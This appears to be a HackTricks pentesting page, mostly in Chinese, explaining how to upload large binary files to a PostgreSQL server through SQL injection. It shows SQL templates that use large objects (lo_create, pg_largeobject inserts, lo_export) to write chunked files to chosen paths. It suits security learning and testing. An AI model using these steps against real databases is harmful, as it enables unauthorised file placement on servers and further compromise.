> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md).

# Big Binary Files Upload (PostgreSQL)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>

#### PostgreSQL大对象

PostgreSQL提供了一种称为**大对象**的结构，可通过`pg_largeobject`表访问，旨在存储大数据类型，如图像或PDF文档。这种方法优于`COPY TO`函数，因为它可以将数据**导出回文件系统**，确保原始文件的精确副本得以保留。

要在此表中**存储完整文件**，必须在`pg_largeobject`表中创建一个对象（由LOID标识），然后将每个2KB大小的数据块插入到此对象中。这些块的大小必须确切为2KB（最后一个块可能有例外），以确保导出功能正常运行。

要将您的**二进制数据分成2KB块**，可以执行以下命令：

```bash
split -b 2048 your_file # Creates 2KB sized files
```

对于将每个文件编码为Base64或Hex，可以使用以下命令：

```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```

**重要提示**：在自动化此过程时，请确保发送2KB清晰文本字节的块。由于大小加倍，十六进制编码文件每个块需要4KB数据，而Base64编码文件遵循公式 `ceil(n / 3) * 4`。

可以使用以下方法查看大型对象的内容以进行调试：

```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```

**使用 `lo_creat` & Base64**

要存储二进制数据，首先创建一个 LOID：

```sql
SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID
```

在需要精确控制的情况下，比如利用盲注入（Blind SQL Injection），首选使用 `lo_create` 来指定固定的 LOID。

然后可以按以下方式插入数据块：

```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

```

要导出并在使用后可能删除大型对象：

```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object
```

**使用 `lo_import` & Hex**

`lo_import` 函数可用于创建和指定大对象的 LOID：

```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```

在创建对象后，每页插入数据，确保每个数据块不超过2KB：

```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```

为了完成这个过程，数据被导出并且大对象被删除：

```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object
```

#### 限制

注意到**大对象可能有ACLs**（访问控制列表），可能会限制甚至是您的用户创建的对象的访问。然而，具有宽松ACL的旧对象仍然可以通过内容外泄来访问。
